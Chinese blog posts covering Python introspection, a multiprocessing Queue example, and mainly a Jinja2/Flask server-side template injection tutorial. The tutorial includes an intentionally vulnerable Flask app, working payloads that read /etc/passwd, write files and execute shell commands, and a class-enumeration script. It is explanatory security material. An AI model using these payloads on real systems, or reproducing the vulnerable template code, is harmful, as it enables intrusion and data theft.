['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>> a.__doc__   #调用一下对象属性
"str(object='') -> str\nstr(bytes_or_buffer[, encoding[, errors]]) -> str\n\nCreate a new string object from the given object. If encoding or\nerrors is specified, then the object must expose a data buffer\nthat will be decoded using the given encoding and error handler.\nOtherwise, returns the result of object.__str__() (if defined)\nor repr(object).\nencoding defaults to sys.getdefaultencoding().\nerrors defaults to 'strict'."
>>> hasattr(a,'__builtins__')  #查看属性是否存在
False
>>> hasattr(a,'__doc__')   #同上
True

参考

Python多进程间通信

前言

面试时被问到,没答上来后来搜了一下发现以前用过……好久没用忘了……

代码

进程间相互通信Python为我们提供了一个函数multiprocessing.Pipe和一个类:multiprocessing.Queue。

区别:

Pipe仅仅适用于只有两个进程一读一写的单双工情况,也就是说信息是只向一个方向流动。

Queue据官方文档也是基于pipe的实现。

Queue的使用主要是一边put(),一边get().但是Queue可以是多个Process 进行put操作,也可以是多个Process进行get()操作。主要用来在多个进程之间实现通信。

示例

# ! /usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Archerx
# @time: 2019/3/1 下午 04:58

from multiprocessing import Queue,Process
import random

def getter(name, queue):
    print ('Son process %s' % name)
    while True:
        try:
            value = queue.get(True, 10)
            # block为True,就是如果队列中无数据了。
            #   |—————— 若timeout默认是None,那么会一直等待下去。
            #   |—————— 若timeout设置了时间,那么会等待timeout秒后才会抛出Queue.Empty异常
            # block 为False,如果队列中无数据,就抛出Queue.Empty异常
            print ("Process getter get: %f" % value)
        except :
            break


def putter(name, queue):
    print ("Son process %s" % name)
    for i in range(0, 100):
        value = random.random()
        queue.put(value)
        # 放入数据 put(obj[, block[, timeout]])
        # 若block为True,如果队列是满的:
        #  |—————— 若timeout是默认None,那么就会一直等下去
        #  |—————— 若timeout设置了等待时间,那么会等待timeout秒后,如果还是满的,那么就抛出Queue.Full.
        # 若block是False,如果队列满了,直接抛出Queue.Full
        print ("Process putter put: %f" % value)


if __name__ == '__main__':
    queue = Queue()
    getter_process = Process(target=getter, args=("Getter", queue))
    putter_process = Process(target=putter, args=("Putter", queue))
    getter_process.start()
    putter_process.start()
    #下面是等待子进程结束
    # getter_process.join()
    # putter_process.join()

修改于 2019.9.23

深入Flask&jinja2的SSTI

前言

没啥好说的……

常见的模板引擎php的Twig 和 Flask的jinja2

这里主要说一下Flask的jinja2

例子

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

存在ssti地方很有可能存在xss。

原理

大致原理是[],{},''是Python中的内置变量。通过内置变量的一些属性或函数去访问当前Python环境中的对象继承树,可以从继承树爬到根对象类。利用__subclasses__()等函数爬向每一个Object,这样便可以利用当前Python环境执行任意代码。

import os

a = 'archerx'

def test():
    print('this is the test.')


print(test.__globals__)

print(test.__globals__['__builtins__'].eval("print('yes')"))

输出如下:

{'test': <function test at 0x00875198>, '__doc__': None, '__loader__': <_frozen_importlib.SourceFileLoader object at 0x008347F0>, 'os': <module 'os' from 'C:\\Python34\\lib\\os.py'>, '__package__': None, '__cached__': None, '__file__': 'F:/pycharm/test/test1/test1.py', '__name__': '__main__', '__spec__': None, '__builtins__': <module 'builtins' (built-in)>, 'a': 'archerx'}
yes

可以发现在__globals__中会包括引入的moudels,并且每个Python脚本会自动加载builtins这个模块,这个模块中包含了很多built-in函数,包括eval,exec,open等。

接下来来了解Python中一些常见的特殊方法:

  • __class__返回调用的参数类型。
  • __base__返回基类
  • __mro__允许我们在当前Python环境下追溯继承树
  • __subclasses__()返回子类
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Archerx
# @time: 2019/1/26 下午 03:33
import os
a = 'archerx'

def test():
    print('this is the test.')

class test1(object):
    def __init__(self):
        pass

class test2(test1):
    def __init__(self):
        pass

print(test.__globals__)
print(test.__globals__['__builtins__'].eval("print('yes')"))   #
print(test.__class__)  #返回调用的参数类型   <class 'function'>
print(test1.__bases__)  #返回该类的基类   (<class 'object'>,)
print(test1.__subclasses__())  #返回该类的子类   [<class '__main__.test2'>]

jinja2获取基类的方法有下面几种(先获取当前类然后向后追溯):

print(''.__class__.__mro__)  #(<class 'str'>, <class 'object'>)
print(''.__class__.__mro__[1])  #<class 'object'>
#下面这几个用__bases__或者__mro__都能获取基类
print({}.__class__.__bases__[0])    #<class 'object'>
print(().__class__.__bases__[0])   #<class 'object'>
print([].__class__.__bases__[0])    #<class 'object'>

现在我们的思路就是从一个==内置变量==调用__class__.__base__等隐藏属性,去找到一个函数,然后调用其__globals__['__builtins__']即可调用eval等执行任意代码。

内置变量包括'' , {} , []这些都是可以的。

返回基类所有子类的列表:

>>> ''.__class__.__base__.__subclasses__()
[<class 'NoneType'>, <class 'itertools.count'>, <class 'urllib3.packages.six._LazyDescr'>, <class 'requests.sessions.SessionRedirectMixin'>, <class '_ctypes.CThunkObject'>, <class 'Struct'>, <class 'dict'>, <class 'itertools.compress'>, <class 'tarfile.TarIter'>, <class 'string.Template'>, <class 'tarfile._StreamProxy'>, <class '_collections._deque_iterator'>, <class '_thread._local'>, <class 'functools.partialmethod'>, <class 'email.message._IsAttachment'>, <class 'threading.Semaphore'>, <class 'dict_items'>, <class 'pkgutil.ImpLoader'>, <class 'chardet.charsetprober.CharSetProber'>, <class 'chardet.chardistribution.CharDistributionAnalysis'>, <class 'wrapper_descriptor'>, <class 'collections.abc.Sized'>, <class 'datetime.tzinfo'>, <class '_frozen_importlib._LoaderBasics'>, <class 'urllib3.connection.HTTPConnection'>, <class '_frozen_importlib.ModuleSpec'>, <class 'ellipsis'>, <class 'logging.BufferingFormatter'>, <class 'tarfile._Stream'>, <class 'requests.adapters.BaseAdapter'>, <class 'os._wrap_close'>, <class 'bytearray_iterator'>, <class 'textwrap.TextWrapper'>, <class 'threading.Event'>, <class '_ctypes.DictRemover'>, <class 'stderrprinter'>, <class '_io.IncrementalNewlineDecoder'>, <class 'itertools.islice'>, <class 'itertools.product'>, <class 'types.SimpleNamespace'>, <class 'dict_keyiterator'>, <class 'logging.Manager'>, <class 'method_descriptor'>, <class 'cell'>, <class 'logging.Formatter'>, <class '_bz2.BZ2Decompressor'>, <class 'zipfile._ZipDecrypter'>, <class 'itertools.takewhile'>, <class '_frozen_importlib._ManageReload'>, <class 'mimetypes.MimeTypes'>, <class 'MultibyteStreamWriter'>, <class 'list_iterator'>, <class 'ctypes.CDLL'>, <class 'reversed'>, <enum 'Enum'>, <class 'threading.Thread'>, <class '_frozen_importlib.WindowsRegistryFinder'>, <class 'builtin_function_or_method'>, <class 'itertools.permutations'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'str'>, <class 'operator.attrgetter'>, <class 'email.feedparser.BufferedSubFile'>, <class 'contextlib.suppress'>, <class 'urllib3.util.selectors.BaseSelector'>, <class 'logging.Filter'>, <class 'urllib3.util.retry.Retry'>, <class 'sre_parse.Tokenizer'>, <class 'PyHKEY'>, <class 'queue.Queue'>, <class 'code'>, <class 'list'>, <class 'uuid.UUID'>, <class 'tarfile.TarFile'>, <class 'sre_parse.SubPattern'>, <class 'weakref'>, <class '_thread._localdummy'>, <class 'super'>, <class 'zip'>, <class 'contextlib.ContextDecorator'>, <class 'zipfile.LZMADecompressor'>, <class 'MultibyteStreamReader'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.FileFinder'>, <class '_ssl._SSLSocket'>, <class 'weakproxy'>, <class 'datetime.date'>, <class 'property'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'traceback'>, <class 'chardet.jpcntx.JapaneseContextAnalysis'>, <class 'collections.abc.Hashable'>, <class 'itertools.accumulate'>, <class 'http.cookiejar.CookieJar'>, <class 'range_iterator'>, <class 'datetime.timedelta'>, <class 'float'>, <class 'frozenset'>, <class '_ctypes._CData'>, <class 'chardet.enums.LanguageFilter'>, <class 'urllib3.response.DeflateDecoder'>, <class 're.Scanner'>, <class 'tuple_iterator'>, <class 'email.charset.Charset'>, <class 'getset_descriptor'>, <class '_sitebuiltins._Printer'>, <class 'urllib.request.URLopener'>, <class 'reprlib.Repr'>, <class 'module'>, <class 'hmac.HMAC'>, <class 'http.cookiejar.Absent'>, <class 'operator.methodcaller'>, <class 'chardet.enums.SequenceLikelihood'>, <class 'EncodingMap'>, <class 'subprocess.STARTUPINFO'>, <class 'copy._EmptyClass'>, <class 'zipfile.LZMACompressor'>, <class 'method-wrapper'>, <class 'zipfile.ZipInfo'>, <class 'memoryview'>, <class '_ctypes.CField'>, <class '_sre.SRE_Pattern'>, <class 'NotImplementedType'>, <class 'MultibyteCodec'>, <class 'datetime.timedelta'>, <class 'frame'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'range'>, <class 'urllib3.util.timeout.Timeout'>, <class 'requests.models.RequestEncodingMixin'>, <class '_frozen_importlib._SpecMethods'>, <class 'mappingproxy'>, <class 'itertools._grouper'>, <class 'calendar._localized_month'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class '_bz2.BZ2Compressor'>, <class 'weakref.finalize._Info'>, <class 'itertools.filterfalse'>, <class 'datetime.date'>, <class '_collections._deque_reverse_iterator'>, <class 'email.header._ValueFormatter'>, <class '_lzma.LZMADecompressor'>, <class 'contextlib.closing'>, <class '_frozen_importlib.PathFinder'>, <class 'collections.deque'>, <class 'set'>, <class 'chardet.codingstatemachine.CodingStateMachine'>, <class 'bytes_iterator'>, <class 'codecs.StreamRecoder'>, <class 'instancemethod'>, <class '__future__._Feature'>, <class 'dict_itemiterator'>, <class '_sre.SRE_Match'>, <class 'tarfile._FileInFile'>, <class 'urllib3.connection.DummyConnection'>, <class 'complex'>, <class 'dict_valueiterator'>, <class 'BaseException'>, <class 'sre_parse.Pattern'>, <class 'urllib3.packages.six._SixMetaPathImporter'>, <class 'codecs.IncrementalDecoder'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib3.connectionpool.ConnectionPool'>, <class '_frozen_importlib._NamespaceLoader'>, <class 'staticmethod'>, <class 'enumerate'>, <class 'http.cookiejar.Cookie'>, <class '_hashlib.HASH'>, <class 'itertools.cycle'>, <class 'email.header.Header'>, <class 'tarfile._LowLevelFile'>, <class 'calendar.Calendar'>, <class 'tempfile._TemporaryFileCloser'>, <class 'list_reverseiterator'>, <class 'itertools.zip_longest'>, <class '_frozen_importlib._installed_safely'>, <class 'tuple'>, <class 'weakcallableproxy'>, <class 'email.feedparser.FeedParser'>, <class 'itertools.chain'>, <class 'warnings.catch_warnings'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'http.cookiejar.CookiePolicy'>, <class '_json.Encoder'>, <class 'slice'>, <class 'urllib3.request.RequestMethods'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'zipfile.ZipFile'>, <class 'codecs.IncrementalEncoder'>, <class 'contextlib.ExitStack'>, <class 'logging.Filterer'>, <class 'threading._RLock'>, <class 'managedbuffer'>, <class 'ipaddress._BaseV4'>, <class 'logging.PercentStyle'>, <class 'itertools._tee'>, <class 'zlib.Compress'>, <class 'tempfile._RandomNameSequence'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'MultibyteIncrementalDecoder'>, <class 'dict_keys'>, <class 'email.message.Message'>, <class 'moduledef'>, <class 'codecs.Codec'>, <class '_frozen_importlib._ImportLockContext'>, <class 'calendar.different_locale'>, <class 'ipaddress._BaseV6'>, <class 'warnings.WarningMessage'>, <class 'function'>, <class 'bytes'>, <class 'email.parser.Parser'>, <class 'dict_values'>, <class 'calendar._localized_day'>, <class '_io._BytesIOBuffer'>, <class '_random.Random'>, <class 'int'>, <class 'filter'>, <class 'iterator'>, <class 'chardet.enums.ProbingState'>, <class 'urllib3.response.GzipDecoder'>, <class '_frozen_importlib._ModuleLock'>, <class 'email.parser.BytesParser'>, <class 'urllib.parse._ResultMixinStr'>, <class 'itertools._tee_dataobject'>, <class '_frozen_importlib.ExtensionFileLoader'>, <class '_sitebuiltins._Helper'>, <class 'map'>, <class 'collections._Link'>, <class 'str_iterator'>, <class 'functools.partial'>, <class '_json.Scanner'>, <class 'datetime.time'>, <class '_lzma.LZMACompressor'>, <class 'PyCapsule'>, <class '_ssl._SSLContext'>, <class 'chardet.enums.MachineState'>, <class 'email._policybase._PolicyBase'>, <class 'collections.abc.Container'>, <class 'unicodedata.UCD'>, <class 'threading.Condition'>, <class 'urllib.request.BaseHandler'>, <class 'urllib3.fields.RequestField'>, <class 'subprocess.Popen'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'itertools.combinations_with_replacement'>, <class 'requests.models.RequestHooksMixin'>, <class '_thread.RLock'>, <class 'longrange_iterator'>, <class 'logging.LogRecord'>, <class '_socket.socket'>, <class 'urllib.request.ftpwrapper'>, <class 'string.Formatter'>, <class '_weakrefset._IterationGuard'>, <class 'itertools.combinations'>, <class 'bytearray'>, <class '_weakrefset.WeakSet'>, <class 'contextlib.redirect_stdout'>, <class 'collections.abc.Iterable'>, <class 'zlib.Decompress'>, <class 'logging.LoggerAdapter'>, <class 'urllib.request.OpenerDirector'>, <class 'ctypes.LibraryLoader'>, <class 'requests.cookies.MockRequest'>, <class 'weakref.finalize'>, <class '_sre.SRE_Scanner'>, <class 'requests.auth.AuthBase'>, <class 'email._parseaddr.AddrlistClass'>, <class 'logging.PlaceHolder'>, <class 'requests.cookies.MockResponse'>, <class 'member_descriptor'>, <class 'itertools.groupby'>, <class 'classmethod_descriptor'>, <class 'requests.models.Response'>, <class 'type'>, <class '_frozen_importlib._NamespacePath'>, <class 'operator.itemgetter'>, <class 'urllib.request.Request'>, <class 'classmethod'>, <class 'itertools.dropwhile'>, <class '_winapi.Overlapped'>, <class 'CArgObject'>, <class '_thread.lock'>, <class 'fieldnameiterator'>, <class '_frozen_importlib.FrozenImporter'>, <class 'ipaddress._IPAddressBase'>, <class 'chardet.universaldetector.UniversalDetector'>, <class 'MultibyteIncrementalEncoder'>, <class 'generator'>, <class '_io._IOBase'>, <class 'json.encoder.JSONEncoder'>, <class 'chardet.enums.InputState'>, <class 'formatteriterator'>, <class 'collections.abc.Callable'>, <class 'itertools.repeat'>, <class 'callable_iterator'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib.FileLoader'>, <class 'set_iterator'>, <class '_sitebuiltins.Quitter'>, <class 'chardet.enums.CharacterCategory'>, <class 'datetime.tzinfo'>, <class 'http.client.HTTPConnection'>, <class 'tokenize.Untokenizer'>, <class 'codecs.StreamReaderWriter'>, <class 'itertools.starmap'>, <class 'tarfile.TarInfo'>, <class 'types.DynamicClassAttribute'>, <class 'pkgutil.ImpImporter'>, <class 'method'>, <class 'threading.Barrier'>, <class 'abc.ABC'>, <class 'json.decoder.JSONDecoder'>, <class 'zipimport.zipimporter'>]

随便找个类查看一下__init__

>>> ''.__class__.__base__.__subclasses__()[26].__init__
<slot wrapper '__init__' of 'object' objects>

>>> ''.__class__.__base__.__subclasses__()[26].__init__.__globals__
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'

wrapper 代表这个类没有被重载过,这是他不算是function,不具有__globals__属性。

换一下前面数字直到这到一个被重载的类:

>>> ''.__class__.__base__.__subclasses__()[25].__init__.__globals__
{'MAGIC_NUMBER': b'\xee\x0c\r\n', '_gcd_import': <function _gcd_import at 0x004D9ED0>, 'spec_from_file_location': <function spec_from_file_location at 0x004D0FA8>, '_find_spec': <function _find_spec at 0x004D9DB0>, '_imp': <module '_imp' (built-in)>, '_lock_unlock_module': <function _lock_unlock_module at 0x004D0780>, '_find_spec_legacy': <function _find_spec_legacy at 0x004D9D68>, 'marshal': <module 'marshal' (built-in)>, 'ExtensionFileLoader': <class '_frozen_importlib.ExtensionFileLoader'>, 'FrozenImporter': <class '_frozen_importlib.FrozenImporter'>, '_blocking_on': {}, '_get_sourcefile': <function _get_sourcefile at 0x004D08A0>, '_code_to_bytecode': <function _code_to_bytecode at 0x004D0B70>, '__import__': <function __import__ at 0x004DB030>, 'DEBUG_BYTECODE_SUFFIXES': ['.pyc'], '_DeadlockError': <class '_frozen_importlib._DeadlockError'>, 'ModuleSpec': <class '_frozen_importlib.ModuleSpec'>, '_validate_bytecode_header': <function _validate_bytecode_header at 0x004D0AE0>, '_wrap': <function _wrap at 0x004D0270>, 'BuiltinImporter': <class '_frozen_importlib.BuiltinImporter'>, '_ImportLockContext': <class '_frozen_importlib._ImportLockContext'>, '_installed_safely': <class '_frozen_importlib._installed_safely'>, '_compile_bytecode': <function _compile_bytecode at 0x004D0B28>, 'SourceFileLoader': <class '_frozen_importlib.SourceFileLoader'>, '_path_isfile': <function _path_isfile at 0x004D0198>, '_requires_builtin': <function _requires_builtin at 0x004D09C0>, '_NamespacePath': <class '_frozen_importlib._NamespacePath'>, '_install': <function _install at 0x004DB108>, '_path_stat': <function _path_stat at 0x004D0108>, '_RAW_MAGIC_NUMBER': 168627438, '_weakref': <module '_weakref' (built-in)>, '_spec_from_module': <function _spec_from_module at 0x004D3030>, '_load_module_shim': <function _load_module_shim at 0x004D0A98>, '_winreg': <module 'winreg' (built-in)>, 'OPTIMIZED_BYTECODE_SUFFIXES': ['.pyo'], '_path_join': <function _path_join at 0x004D0078>, '__loader__': <class '_frozen_importlib.FrozenImporter'>, '_io': <module 'io' (built-in)>, '_find_module_shim': <function _find_module_shim at 0x004D0A50>, '_calc_mode': <function _calc_mode at 0x004D08E8>, '_get_supported_file_loaders': <function _get_supported_file_loaders at 0x004D9FA8>, '_thread': <module '_thread' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_handle_fromlist': <function _handle_fromlist at 0x004D9F18>, '_ModuleLock': <class '_frozen_importlib._ModuleLock'>, '_write_atomic': <function _write_atomic at 0x004D0228>, '_path_is_mode_type': <function _path_is_mode_type at 0x004D0150>, '_SpecMethods': <class '_frozen_importlib._SpecMethods'>, '_code_type': <class 'code'>, '_setup': <function _setup at 0x004DB0C0>, '__builtins__': {'IsADirectoryError': <class 'IsADirectoryError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'hash': <built-in function hash>, 'BufferError': <class 'BufferError'>, 'min': <built-in function min>, 'IndexError': <class 'IndexError'>, 'BytesWarning': <class 'BytesWarning'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'abs': <built-in function abs>, '__build_class__': <built-in function __build_class__>, 'RuntimeError': <class 'RuntimeError'>, 'setattr': <built-in function setattr>, 'ImportError': <class 'ImportError'>, 'ConnectionError': <class 'ConnectionError'>, 'super': <class 'super'>, 'vars': <built-in function vars>, 'GeneratorExit': <class 'GeneratorExit'>, '__import__': <built-in function __import__>, 'all': <built-in function all>, 'EnvironmentError': <class 'OSError'>, 'next': <built-in function next>, 'FloatingPointError': <class 'FloatingPointError'>, 'round': <built-in function round>, 'slice': <class 'slice'>, 'dict': <class 'dict'>, 'FileExistsError': <class 'FileExistsError'>, 'MemoryError': <class 'MemoryError'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'ChildProcessError': <class 'ChildProcessError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UserWarning': <class 'UserWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'str': <class 'str'>, 'classmethod': <class 'classmethod'>, 'zip': <class 'zip'>, 'chr': <built-in function chr>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'memoryview': <class 'memoryview'>, 'any': <built-in function any>, 'SyntaxError': <class 'SyntaxError'>, 'id': <built-in function id>, 'BlockingIOError': <class 'BlockingIOError'>, 'tuple': <class 'tuple'>, 'InterruptedError': <class 'InterruptedError'>, 'open': <built-in function open>, 'hasattr': <built-in function hasattr>, 'ReferenceError': <class 'ReferenceError'>, 'set': <class 'set'>, 'reversed': <class 'reversed'>, 'AssertionError': <class 'AssertionError'>, 'bytes': <class 'bytes'>, 'sorted': <built-in function sorted>, 'eval': <built-in function eval>, 'format': <built-in function format>, 'bin': <built-in function bin>, 'quit': Use quit() or Ctrl-Z plus Return to exit, 'NotImplemented': NotImplemented, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'repr': <built-in function repr>, 'ConnectionResetError': <class 'ConnectionResetError'>, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, 'OSError': <class 'OSError'>, 'float': <class 'float'>, 'TypeError': <class 'TypeError'>, 'isinstance': <built-in function isinstance>, 'iter': <built-in function iter>, 'None': None, 'issubclass': <built-in function issubclass>, 'filter': <class 'filter'>, 'object': <class 'object'>, 'complex': <class 'complex'>, 'pow': <built-in function pow>, 'hex': <built-in function hex>, 'sum': <built-in function sum>, 'compile': <built-in function compile>, 'ascii': <built-in function ascii>, 'delattr': <built-in function delattr>, 'bytearray': <class 'bytearray'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'WindowsError': <class 'OSError'>, 'len': <built-in function len>, 'ValueError': <class 'ValueError'>, 'frozenset': <class 'frozenset'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'IOError': <class 'OSError'>, 'Exception': <class 'Exception'>, 'IndentationError': <class 'IndentationError'>, '_': None, 'NotADirectoryError': <class 'NotADirectoryError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'oct': <built-in function oct>, 'print': <built-in function print>, 'max': <built-in function max>, 'True': True, 'bool': <class 'bool'>, 'input': <built-in function input>, 'license': Type license() to see the full license text, 'locals': <built-in function locals>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), 'ArithmeticError': <class 'ArithmeticError'>, 'enumerate': <class 'enumerate'>, 'dir': <built-in function dir>, 'OverflowError': <class 'OverflowError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'BaseException': <class 'BaseException'>, 'AttributeError': <class 'AttributeError'>, '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'TabError': <class 'TabError'>, 'EOFError': <class 'EOFError'>, 'exit': Use exit() or Ctrl-Z plus Return to exit, 'ImportWarning': <class 'ImportWarning'>, '__debug__': True, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'map': <class 'map'>, 'credits':     Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
    for supporting Python development.  See www.python.org for more information., 'exec': <built-in function exec>, 'getattr': <built-in function getattr>, 'staticmethod': <class 'staticmethod'>, 'False': False, 'Warning': <class 'Warning'>, 'PermissionError': <class 'PermissionError'>, 'UnicodeError': <class 'UnicodeError'>, 'type': <class 'type'>, '__name__': 'builtins', 'ResourceWarning': <class 'ResourceWarning'>, 'KeyError': <class 'KeyError'>, 'help': Type help() for interactive help, or help(object) for help about object., '__package__': '', 'globals': <built-in function globals>, 'TimeoutError': <class 'TimeoutError'>, 'SystemExit': <class 'SystemExit'>, 'callable': <built-in function callable>, 'range': <class 'range'>, 'LookupError': <class 'LookupError'>, 'property': <class 'property'>, 'copyright': Copyright (c) 2001-2015 Python Software Foundation.
All Rights Reserved.

Copyright (c) 2000 BeOpen.com.
All Rights Reserved.

Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'ord': <built-in function ord>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'SystemError': <class 'SystemError'>, 'list': <class 'list'>, 'divmod': <built-in function divmod>, 'int': <class 'int'>, 'StopIteration': <class 'StopIteration'>, 'Ellipsis': Ellipsis}, '_path_split': <function _path_split at 0x004D00C0>, '_r_long': <function _r_long at 0x004D0030>, 'WindowsRegistryFinder': <class '_frozen_importlib.WindowsRegistryFinder'>, '__file__': 'C:\\Python34\\lib\\importlib\\_bootstrap.py', '_call_with_frames_removed': <function _call_with_frames_removed at 0x004D07C8>, '_ModuleLockManager': <class '_frozen_importlib._ModuleLockManager'>, '_calc___package__': <function _calc___package__ at 0x004D9F60>, 'source_from_cache': <function source_from_cache at 0x004D0858>, '_check_name': <function _check_name at 0x004D0978>, '_get_module_lock': <function _get_module_lock at 0x004D0300>, 'cache_from_source': <function cache_from_source at 0x004D0810>, 'FileLoader': <class '_frozen_importlib.FileLoader'>, '_CASE_INSENSITIVE_PLATFORMS': ('win', 'cygwin', 'darwin'), '_make_relax_case': <function _make_relax_case at 0x00499F60>, '_requires_frozen': <function _requires_frozen at 0x004D0A08>, '_find_and_load_unlocked': <function _find_and_load_unlocked at 0x004D9E40>, 'spec_from_loader': <function spec_from_loader at 0x004D0C48>, '_verbose_message': <function _verbose_message at 0x004D0930>, 'SourceLoader': <class '_frozen_importlib.SourceLoader'>, '_path_isdir': <function _path_isdir at 0x004D01E0>, '_NamespaceLoader': <class '_frozen_importlib._NamespaceLoader'>, '_PYCACHE': '__pycache__', '__spec__': ModuleSpec(name='_frozen_importlib', loader=<class '_frozen_importlib.FrozenImporter'>), 'BYTECODE_SUFFIXES': ['.pyc'], '_fix_up_module': <function _fix_up_module at 0x004D3078>, '_DummyModuleLock': <class '_frozen_importlib._DummyModuleLock'>, '_LoaderBasics': <class '_frozen_importlib._LoaderBasics'>, '_module_locks': {}, '__doc__': 'Core implementation of import.\n\nThis module is NOT meant to be directly imported! It has been designed such\nthat it can be bootstrapped into Python as the implementation of import. As\nsuch it requires the injection of specific modules and attributes in order to\nwork. One should use importlib as the public-facing version of this module.\n\n', 'sys': <module 'sys' (built-in)>, 'EXTENSION_SUFFIXES': ['.pyd'], '_relax_case': <function _make_relax_case.<locals>._relax_case at 0x00499A08>, 'decode_source': <function decode_source at 0x004D0BB8>, '_new_module': <function _new_module at 0x004D02B8>, 'path_separators': '\\/', '_ManageReload': <class '_frozen_importlib._ManageReload'>, '_ERR_MSG_PREFIX': 'No module named ', 'SourcelessFileLoader': <class '_frozen_importlib.SourcelessFileLoader'>, 'SOURCE_SUFFIXES': ['.py', '.pyw'], 'path_sep': '\\', '_find_and_load': <function _find_and_load at 0x004D9E88>, '__name__': 'importlib._bootstrap', '_builtin_from_name': <function _builtin_from_name at 0x004DB078>, '_module_repr': <function _module_repr at 0x004D0C00>, '__package__': 'importlib', '_ERR_MSG': 'No module named {!r}', '_sanity_check': <function _sanity_check at 0x004D9DF8>, '_os': <module 'nt' (built-in)>, '_POPULATE': <object object at 0x004D2020>, '_resolve_name': <function _resolve_name at 0x004D3348>, 'PathFinder': <class '_frozen_importlib.PathFinder'>, 'FileFinder': <class '_frozen_importlib.FileFinder'>, '_warnings': <module '_warnings' (built-in)>, '_w_long': <function _w_long at 0x00499FA8>}

然后就能直接调用eval函数:

>>> ''.__class__.__base__.__subclasses__()[25].__init__.__globals__['__builtins__']['eval']
<built-in function eval>
>>> ''.__class__.__base__.__subclasses__()[25].__init__.__globals__['__builtins__']['eval']("print('archerx')")
archerx

python2

#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("hello world") }}

python3

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}
{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}{% endfor %}

用脚本去遍历可以进行执行命令的类及隐藏属性,代码如下:

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:

过滤绕过

过滤中括号

使用getitem()绕过

''.__class__.__mro__.__getitem__(2)
过滤[
